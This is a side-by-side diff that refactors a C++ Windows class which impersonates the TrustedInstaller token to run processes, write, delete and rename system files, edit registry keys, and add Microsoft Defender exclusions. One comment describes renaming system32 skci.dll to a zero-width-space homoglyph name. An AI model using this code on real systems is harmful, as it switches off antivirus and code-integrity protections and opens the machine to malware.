return result; return result;
} }
@@ -299,8 +298,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma
{ {
std::wstring finalCommandLine = commandLine; std::wstring finalCommandLine = commandLine;
if (IsLnkFile(commandLine.c_str())) { if (IsLnkFile(commandLine)) {
finalCommandLine = ResolveLnk(commandLine.c_str()); finalCommandLine = ResolveLnk(commandLine);
if (finalCommandLine.empty()) { if (finalCommandLine.empty()) {
return false; return false;
} }
@@ -316,7 +315,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstaller(const std::wstring& comma
return false; return false;
} }
BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine.c_str()); BOOL result = CreateProcessAsTrustedInstaller(trustedInstallerPid, finalCommandLine);
RevertToSelf(); RevertToSelf();
return result != FALSE; return result != FALSE;
@@ -326,8 +325,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
{ {
std::wstring finalCommandLine = commandLine; std::wstring finalCommandLine = commandLine;
if (IsLnkFile(commandLine.c_str())) { if (IsLnkFile(commandLine)) {
finalCommandLine = ResolveLnk(commandLine.c_str()); finalCommandLine = ResolveLnk(commandLine);
if (finalCommandLine.empty()) { if (finalCommandLine.empty()) {
return false; return false;
} }
@@ -343,7 +342,7 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
return false; return false;
} }
BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine.c_str()); BOOL result = CreateProcessAsTrustedInstallerSilent(trustedInstallerPid, finalCommandLine);
RevertToSelf(); RevertToSelf();
return result != FALSE; return result != FALSE;
@@ -353,8 +352,8 @@ bool TrustedInstallerIntegrator::RunAsTrustedInstallerSilent(const std::wstring&
// FILE OPERATIONS (NEW) // FILE OPERATIONS (NEW)
// ============================================================================ // ============================================================================
bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring& filePath, bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(std::wstring_view filePath,
const std::vector<BYTE>& data) noexcept std::span<const BYTE> data) noexcept
{ {
if (data.empty()) { if (data.empty()) {
ERROR(L"Cannot write empty data"); ERROR(L"Cannot write empty data");
@@ -372,8 +371,9 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
return false; return false;
} }
std::wstring filePathStr{filePath};
HANDLE hFile = CreateFileW( HANDLE hFile = CreateFileW(
filePath.c_str(), filePathStr.c_str(),
GENERIC_WRITE, GENERIC_WRITE,
0, 0,
NULL, NULL,
@@ -384,7 +384,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
if (hFile == INVALID_HANDLE_VALUE) { if (hFile == INVALID_HANDLE_VALUE) {
DWORD error = GetLastError(); DWORD error = GetLastError();
ERROR(L"Failed to create file: %s (error: %d)", filePath.c_str(), error); ERROR(L"Failed to create file: %s (error: %d)", filePathStr.c_str(), error);
RevertToSelf(); RevertToSelf();
return false; return false;
} }
@@ -396,7 +396,7 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
DWORD bytesToWrite = (std::min)(chunkSize, static_cast<DWORD>(data.size() - totalWritten)); DWORD bytesToWrite = (std::min)(chunkSize, static_cast<DWORD>(data.size() - totalWritten));
DWORD bytesWritten = 0; DWORD bytesWritten = 0;
if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, nullptr)) { if (!::WriteFile(hFile, data.data() + totalWritten, bytesToWrite, &bytesWritten, NULL)) {
ERROR(L"WriteFile failed at offset %d", totalWritten); ERROR(L"WriteFile failed at offset %d", totalWritten);
CloseHandle(hFile); CloseHandle(hFile);
RevertToSelf(); RevertToSelf();
@@ -416,11 +416,11 @@ bool TrustedInstallerIntegrator::WriteFileAsTrustedInstaller(const std::wstring&
CloseHandle(hFile); CloseHandle(hFile);
RevertToSelf(); RevertToSelf();
DEBUG(L"File written successfully: %s (%zu bytes)", filePath.c_str(), data.size()); DEBUG(L"File written successfully: %s (%zu bytes)", filePathStr.c_str(), data.size());
return true; return true;
} }
bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) { if (!hToken) {
@@ -433,26 +433,27 @@ bool TrustedInstallerIntegrator::DeleteFileAsTrustedInstaller(const std::wstring
return false; return false;
} }
DWORD attrs = GetFileAttributesW(filePath.c_str()); std::wstring filePathStr{filePath};
DWORD attrs = GetFileAttributesW(filePathStr.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) { if (attrs != INVALID_FILE_ATTRIBUTES) {
SetFileAttributesW(filePath.c_str(), FILE_ATTRIBUTE_NORMAL); SetFileAttributesW(filePathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
} }
BOOL result = DeleteFileW(filePath.c_str()); BOOL result = DeleteFileW(filePathStr.c_str());
DWORD error = result ? 0 : GetLastError(); DWORD error = result ? 0 : GetLastError();
RevertToSelf(); RevertToSelf();
if (result) { if (result) {
DEBUG(L"File deleted: %s", filePath.c_str()); DEBUG(L"File deleted: %s", filePathStr.c_str());
} else { } else {
ERROR(L"Failed to delete file: %s (error: %d)", filePath.c_str(), error); ERROR(L"Failed to delete file: %s (error: %d)", filePathStr.c_str(), error);
} }
return result != FALSE; return result != FALSE;
} }
bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) { if (!hToken) {
@@ -465,27 +466,28 @@ bool TrustedInstallerIntegrator::CreateDirectoryAsTrustedInstaller(const std::ws
return false; return false;
} }
// Twórz rekursywnie wszystkie brakujące katalogi // Create all missing directories recursively
BOOL result = SHCreateDirectoryExW(nullptr, directoryPath.c_str(), nullptr); std::wstring directoryPathStr{directoryPath};
BOOL result = SHCreateDirectoryExW(NULL, directoryPathStr.c_str(), NULL);
DWORD error = GetLastError(); DWORD error = GetLastError();
RevertToSelf(); RevertToSelf();
// Sukces jeśli katalog został utworzony lub już istnieje // Success if directory was created or already exists
bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS); bool success = (result == ERROR_SUCCESS || error == ERROR_ALREADY_EXISTS);
if (success) { if (success) {
DEBUG(L"Directory created with TrustedInstaller: %s", directoryPath.c_str()); DEBUG(L"Directory created with TrustedInstaller: %s", directoryPathStr.c_str());
} else { } else {
ERROR(L"Failed to create directory: %s (error: %d)", directoryPath.c_str(), error); ERROR(L"Failed to create directory: %s (error: %d)", directoryPathStr.c_str(), error);
} }
return success; return success;
} }
// Rename system32 library skci.dll with intentional letter swap typo // Replace 'skci.dll' with homoglyph variant using zero-width space (U+200B)
bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring& srcPath, bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(std::wstring_view srcPath,
const std::wstring& dstPath) noexcept std::wstring_view dstPath) noexcept
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) { if (!hToken) {
@@ -498,32 +500,34 @@ bool TrustedInstallerIntegrator::RenameFileAsTrustedInstaller(const std::wstring
return false; return false;
} }
std::wstring srcPathStr{srcPath};
std::wstring dstPathStr{dstPath};
// Clear attributes on source // Clear attributes on source
DWORD attrs = GetFileAttributesW(srcPath.c_str()); DWORD attrs = GetFileAttributesW(srcPathStr.c_str());
if (attrs != INVALID_FILE_ATTRIBUTES) { if (attrs != INVALID_FILE_ATTRIBUTES) {
SetFileAttributesW(srcPath.c_str(), FILE_ATTRIBUTE_NORMAL); SetFileAttributesW(srcPathStr.c_str(), FILE_ATTRIBUTE_NORMAL);
} }
BOOL result = MoveFileW(srcPath.c_str(), dstPath.c_str()); BOOL result = MoveFileW(srcPathStr.c_str(), dstPathStr.c_str());
DWORD error = result ? ERROR_SUCCESS : GetLastError(); DWORD error = result ? ERROR_SUCCESS : GetLastError();
RevertToSelf(); RevertToSelf();
if (!result) { if (!result) {
ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPath.c_str(), dstPath.c_str(), error); ERROR(L"Failed to rename file: %s -> %s (error: %d)", srcPathStr.c_str(), dstPathStr.c_str(), error);
return false; return false;
} }
DEBUG(L"File renamed successfully: %s -> %s", srcPath.c_str(), dstPath.c_str()); DEBUG(L"File renamed successfully: %s -> %s", srcPathStr.c_str(), dstPathStr.c_str());
return true; return true;
} }
// ============================================================================ // ============================================================================
// REGISTRY OPERATIONS // REGISTRY OPERATIONS
// ============================================================================ // ============================================================================
bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey, bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept std::wstring_view subKey) noexcept
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) { if (!hToken) {
@@ -538,9 +542,11 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
HKEY hKey; HKEY hKey;
DWORD dwDisposition; DWORD dwDisposition;
std::wstring subKeyStr{subKey};
LONG result = RegCreateKeyExW( LONG result = RegCreateKeyExW(
hRootKey, hRootKey,
subKey.c_str(), subKeyStr.c_str(),
0, 0,
NULL, NULL,
REG_OPTION_NON_VOLATILE, REG_OPTION_NON_VOLATILE,
@@ -552,9 +558,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
RegCloseKey(hKey); RegCloseKey(hKey);
SUCCESS(L"Registry key created: %s", subKey.c_str()); SUCCESS(L"Registry key created: %s", subKeyStr.c_str());
} else { } else {
ERROR(L"Failed to create registry key: %s (error: %d)", subKey.c_str(), result); ERROR(L"Failed to create registry key: %s (error: %d)", subKeyStr.c_str(), result);
} }
RevertToSelf(); RevertToSelf();
@@ -562,9 +568,9 @@ bool TrustedInstallerIntegrator::CreateRegistryKeyAsTrustedInstaller(HKEY hRootK
} }
bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRootKey, bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey, std::wstring_view subKey,
const std::wstring& valueName, std::wstring_view valueName,
const std::wstring& value) noexcept std::wstring_view value) noexcept
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) { if (!hToken) {
@@ -577,29 +583,31 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot
return false; return false;
} }
std::wstring subKeyStr{subKey};
HKEY hKey; HKEY hKey;
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey); LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
if (openResult != ERROR_SUCCESS) { if (openResult != ERROR_SUCCESS) {
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
RevertToSelf(); RevertToSelf();
return false; return false;
} }
std::wstring valueStr{value};
LONG result = RegSetValueExW( LONG result = RegSetValueExW(
hKey, hKey,
valueName.c_str(), std::wstring{valueName}.c_str(),
0, 0,
REG_EXPAND_SZ, REG_EXPAND_SZ,
(const BYTE*)value.c_str(), (const BYTE*)valueStr.c_str(),
(DWORD)(value.length() + 1) * sizeof(wchar_t) (DWORD)((valueStr.length() + 1) * sizeof(wchar_t))
); );
RegCloseKey(hKey); RegCloseKey(hKey);
RevertToSelf(); RevertToSelf();
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
SUCCESS(L"Registry value written: %s\\%s", subKey.c_str(), valueName.c_str()); SUCCESS(L"Registry value written: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
} else { } else {
ERROR(L"Failed to write registry value (error: %d)", result); ERROR(L"Failed to write registry value (error: %d)", result);
} }
@@ -608,9 +616,9 @@ bool TrustedInstallerIntegrator::WriteRegistryValueAsTrustedInstaller(HKEY hRoot
} }
bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey, bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey, std::wstring_view subKey,
const std::wstring& valueName, std::wstring_view valueName,
DWORD value) noexcept DWORD value) noexcept
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) { if (!hToken) {
@@ -623,18 +631,19 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
return false; return false;
} }
std::wstring subKeyStr{subKey};
HKEY hKey; HKEY hKey;
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey); LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
if (openResult != ERROR_SUCCESS) { if (openResult != ERROR_SUCCESS) {
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
RevertToSelf(); RevertToSelf();
return false; return false;
} }
LONG result = RegSetValueExW( LONG result = RegSetValueExW(
hKey, hKey,
valueName.c_str(), std::wstring{valueName}.c_str(),
0, 0,
REG_DWORD, REG_DWORD,
(const BYTE*)&value, (const BYTE*)&value,
@@ -645,7 +654,7 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
RevertToSelf(); RevertToSelf();
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKey.c_str(), valueName.c_str(), value); SUCCESS(L"Registry DWORD written: %s\\%s = 0x%08X", subKeyStr.c_str(), std::wstring{valueName}.c_str(), value);
} else { } else {
ERROR(L"Failed to write registry DWORD (error: %d)", result); ERROR(L"Failed to write registry DWORD (error: %d)", result);
} }
@@ -654,9 +663,9 @@ bool TrustedInstallerIntegrator::WriteRegistryDwordAsTrustedInstaller(HKEY hRoot
} }
bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey, bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey, std::wstring_view subKey,
const std::wstring& valueName, std::wstring_view valueName,
const std::vector<BYTE>& data) noexcept std::span<const BYTE> data) noexcept
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) { if (!hToken) {
@@ -669,18 +678,19 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
return false; return false;
} }
std::wstring subKeyStr{subKey};
HKEY hKey; HKEY hKey;
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_SET_VALUE, &hKey); LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_SET_VALUE, &hKey);
if (openResult != ERROR_SUCCESS) { if (openResult != ERROR_SUCCESS) {
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
RevertToSelf(); RevertToSelf();
return false; return false;
} }
LONG result = RegSetValueExW( LONG result = RegSetValueExW(
hKey, hKey,
valueName.c_str(), std::wstring{valueName}.c_str(),
0, 0,
REG_BINARY, REG_BINARY,
data.data(), data.data(),
@@ -691,7 +701,7 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
RevertToSelf(); RevertToSelf();
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKey.c_str(), valueName.c_str(), data.size()); SUCCESS(L"Registry binary written: %s\\%s (%zu bytes)", subKeyStr.c_str(), std::wstring{valueName}.c_str(), data.size());
} else { } else {
ERROR(L"Failed to write registry binary (error: %d)", result); ERROR(L"Failed to write registry binary (error: %d)", result);
} }
@@ -700,9 +710,9 @@ bool TrustedInstallerIntegrator::WriteRegistryBinaryAsTrustedInstaller(HKEY hRoo
} }
bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootKey, bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey, std::wstring_view subKey,
const std::wstring& valueName, std::wstring_view valueName,
std::wstring& outValue) noexcept std::wstring& outValue) noexcept
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) { if (!hToken) {
@@ -715,18 +725,19 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
return false; return false;
} }
std::wstring subKeyStr{subKey};
HKEY hKey; HKEY hKey;
LONG openResult = RegOpenKeyExW(hRootKey, subKey.c_str(), 0, KEY_QUERY_VALUE, &hKey); LONG openResult = RegOpenKeyExW(hRootKey, subKeyStr.c_str(), 0, KEY_QUERY_VALUE, &hKey);
if (openResult != ERROR_SUCCESS) { if (openResult != ERROR_SUCCESS) {
ERROR(L"Failed to open registry key: %s (error: %d)", subKey.c_str(), openResult); ERROR(L"Failed to open registry key: %s (error: %d)", subKeyStr.c_str(), openResult);
RevertToSelf(); RevertToSelf();
return false; return false;
} }
DWORD dataSize = 0; DWORD dataSize = 0;
DWORD dataType = 0; DWORD dataType = 0;
LONG queryResult = RegQueryValueExW(hKey, valueName.c_str(), NULL, &dataType, NULL, &dataSize); LONG queryResult = RegQueryValueExW(hKey, std::wstring{valueName}.c_str(), NULL, &dataType, NULL, &dataSize);
if (queryResult != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) { if (queryResult != ERROR_SUCCESS || (dataType != REG_SZ && dataType != REG_EXPAND_SZ)) {
ERROR(L"Failed to query registry value size (error: %d, type: %d)", queryResult, dataType); ERROR(L"Failed to query registry value size (error: %d, type: %d)", queryResult, dataType);
@@ -735,10 +746,10 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
return false; return false;
} }
std::vector<wchar_t> buffer(dataSize / sizeof(wchar_t)); std::vector<wchar_t> buffer(dataSize / sizeof(wchar_t) + 1);
LONG result = RegQueryValueExW( LONG result = RegQueryValueExW(
hKey, hKey,
valueName.c_str(), std::wstring{valueName}.c_str(),
NULL, NULL,
&dataType, &dataType,
(LPBYTE)buffer.data(), (LPBYTE)buffer.data(),
@@ -750,7 +761,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
outValue = std::wstring(buffer.data()); outValue = std::wstring(buffer.data());
SUCCESS(L"Registry value read: %s\\%s", subKey.c_str(), valueName.c_str()); SUCCESS(L"Registry value read: %s\\%s", subKeyStr.c_str(), std::wstring{valueName}.c_str());
return true; return true;
} else { } else {
ERROR(L"Failed to read registry value (error: %d)", result); ERROR(L"Failed to read registry value (error: %d)", result);
@@ -759,7 +770,7 @@ bool TrustedInstallerIntegrator::ReadRegistryValueAsTrustedInstaller(HKEY hRootK
} }
bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey, bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
const std::wstring& subKey) noexcept std::wstring_view subKey) noexcept
{ {
HANDLE hToken = GetCachedTrustedInstallerToken(); HANDLE hToken = GetCachedTrustedInstallerToken();
if (!hToken) { if (!hToken) {
@@ -772,14 +783,15 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK
return false; return false;
} }
LONG result = RegDeleteTreeW(hRootKey, subKey.c_str()); std::wstring subKeyStr{subKey};
LONG result = RegDeleteTreeW(hRootKey, subKeyStr.c_str());
RevertToSelf(); RevertToSelf();
if (result == ERROR_SUCCESS) { if (result == ERROR_SUCCESS) {
SUCCESS(L"Registry key deleted: %s", subKey.c_str()); SUCCESS(L"Registry key deleted: %s", subKeyStr.c_str());
} else { } else {
ERROR(L"Failed to delete registry key: %s (error: %d)", subKey.c_str(), result); ERROR(L"Failed to delete registry key: %s (error: %d)", subKeyStr.c_str(), result);
} }
return (result == ERROR_SUCCESS); return (result == ERROR_SUCCESS);
@@ -789,7 +801,7 @@ bool TrustedInstallerIntegrator::DeleteRegistryKeyAsTrustedInstaller(HKEY hRootK
// DEFENDER EXCLUSION MANAGEMENT // DEFENDER EXCLUSION MANAGEMENT
// ============================================================================ // ============================================================================
bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept bool TrustedInstallerIntegrator::ValidateExtension(std::wstring_view extension) noexcept
{ {
if (extension.empty()) return false; if (extension.empty()) return false;
const std::wstring invalidChars = L"\\/:*?\"<>|"; const std::wstring invalidChars = L"\\/:*?\"<>|";
@@ -799,7 +811,7 @@ bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension
return true; return true;
} }
bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept bool TrustedInstallerIntegrator::ValidateIpAddress(std::wstring_view ipAddress) noexcept
{ {
if (ipAddress.empty()) return false; if (ipAddress.empty()) return false;
@@ -828,9 +840,9 @@ bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress
return (dots == 3 && hasDigit); return (dots == 3 && hasDigit);
} }
std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept std::wstring TrustedInstallerIntegrator::NormalizeExtension(std::wstring_view extension) noexcept
{ {
std::wstring normalized = extension; std::wstring normalized{extension};
std::transform(normalized.begin(), normalized.end(), normalized.begin(), ::towlower); std::transform(normalized.begin(), normalized.end(), normalized.begin(), ::towlower);
if (!normalized.empty() && normalized[0] != L'.') { if (!normalized.empty() && normalized[0] != L'.') {
@@ -840,23 +852,23 @@ std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring&
return normalized; return normalized;
} }
std::wstring TrustedInstallerIntegrator::ExtractProcessName(const std::wstring& fullPath) noexcept std::wstring TrustedInstallerIntegrator::ExtractProcessName(std::wstring_view fullPath) noexcept
{ {
size_t lastSlash = fullPath.find_last_of(L"\\/"); size_t lastSlash = fullPath.find_last_of(L"\\/");
if (lastSlash != std::wstring::npos) { if (lastSlash != std::wstring_view::npos) {
return fullPath.substr(lastSlash + 1); return std::wstring{fullPath.substr(lastSlash + 1)};
} }
return fullPath; return std::wstring{fullPath};
} }
bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value) bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, std::wstring_view value)
{ {
std::wstring processedValue = value; std::wstring processedValue{value};
switch (type) { switch (type) {
case ExclusionType::Extensions: case ExclusionType::Extensions:
if (!ValidateExtension(value)) { if (!ValidateExtension(value)) {
ERROR(L"Invalid extension format: %s", value.c_str()); ERROR(L"Invalid extension format: %s", std::wstring{value}.c_str());
return false; return false;
} }
processedValue = NormalizeExtension(value); processedValue = NormalizeExtension(value);
@@ -864,7 +876,7 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const
case ExclusionType::IpAddresses: case ExclusionType::IpAddresses:
if (!ValidateIpAddress(value)) { if (!ValidateIpAddress(value)) {
ERROR(L"Invalid IP address format: %s", value.c_str()); ERROR(L"Invalid IP address format: %s", std::wstring{value}.c_str());
return false; return false;
} }
break; break;
@@ -900,9 +912,9 @@ bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const
return result; return result;
} }
bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value) bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, std::wstring_view value)
{ {
std::wstring processedValue = value; std::wstring processedValue{value};
switch (type) { switch (type) {
case ExclusionType::Extensions: case ExclusionType::Extensions:
@@ -931,47 +943,47 @@ bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, con
return RunAsTrustedInstallerSilent(command); return RunAsTrustedInstallerSilent(command);
} }
bool TrustedInstallerIntegrator::AddPathExclusion(const std::wstring& path) { bool TrustedInstallerIntegrator::AddPathExclusion(std::wstring_view path) {
return AddDefenderExclusion(ExclusionType::Paths, path); return AddDefenderExclusion(ExclusionType::Paths, path);
} }
bool TrustedInstallerIntegrator::RemovePathExclusion(const std::wstring& path) { bool TrustedInstallerIntegrator::RemovePathExclusion(std::wstring_view path) {
return RemoveDefenderExclusion(ExclusionType::Paths, path); return RemoveDefenderExclusion(ExclusionType::Paths, path);
} }
bool TrustedInstallerIntegrator::AddProcessExclusion(const std::wstring& processName) { bool TrustedInstallerIntegrator::AddProcessExclusion(std::wstring_view processName) {
return AddDefenderExclusion(ExclusionType::Processes, processName); return AddDefenderExclusion(ExclusionType::Processes, processName);
} }
bool TrustedInstallerIntegrator::RemoveProcessExclusion(const std::wstring& processName) { bool TrustedInstallerIntegrator::RemoveProcessExclusion(std::wstring_view processName) {
return RemoveDefenderExclusion(ExclusionType::Processes, processName); return RemoveDefenderExclusion(ExclusionType::Processes, processName);
} }
bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) { bool TrustedInstallerIntegrator::AddExtensionExclusion(std::wstring_view extension) {
return AddDefenderExclusion(ExclusionType::Extensions, extension); return AddDefenderExclusion(ExclusionType::Extensions, extension);
} }
bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) { bool TrustedInstallerIntegrator::RemoveExtensionExclusion(std::wstring_view extension) {
return RemoveDefenderExclusion(ExclusionType::Extensions, extension); return RemoveDefenderExclusion(ExclusionType::Extensions, extension);
} }
bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) { bool TrustedInstallerIntegrator::AddIpAddressExclusion(std::wstring_view ipAddress) {
return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress); return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
} }
bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) { bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(std::wstring_view ipAddress) {
return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress); return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress);
} }
bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(const std::wstring& processName) { bool TrustedInstallerIntegrator::AddProcessToDefenderExclusions(std::wstring_view processName) {
return AddProcessExclusion(processName); return AddProcessExclusion(processName);
} }
bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(const std::wstring& processName) { bool TrustedInstallerIntegrator::RemoveProcessFromDefenderExclusions(std::wstring_view processName) {
return RemoveProcessExclusion(processName); return RemoveProcessExclusion(processName);
} }
bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& customPath) bool TrustedInstallerIntegrator::AddToDefenderExclusions(std::wstring_view customPath)
{ {
wchar_t currentPath[MAX_PATH]; wchar_t currentPath[MAX_PATH];
@@ -985,7 +997,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus
ERROR(L"File path too long"); ERROR(L"File path too long");
return false; return false;
} }
wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
} }
fs::path filePath(currentPath); fs::path filePath(currentPath);
@@ -998,7 +1010,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus
} }
} }
bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath) bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(std::wstring_view customPath)
{ {
wchar_t currentPath[MAX_PATH]; wchar_t currentPath[MAX_PATH];
@@ -1012,7 +1024,7 @@ bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring
ERROR(L"File path too long"); ERROR(L"File path too long");
return false; return false;
} }
wcscpy_s(currentPath, MAX_PATH, customPath.c_str()); wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
} }
fs::path filePath(currentPath); fs::path filePath(currentPath);
@@ -1163,7 +1175,7 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries()
// HELPER UTILITIES // HELPER UTILITIES
// ============================================================================ // ============================================================================
DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName) DWORD TrustedInstallerIntegrator::GetProcessIdByName(std::wstring_view processName)
{ {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 0; if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
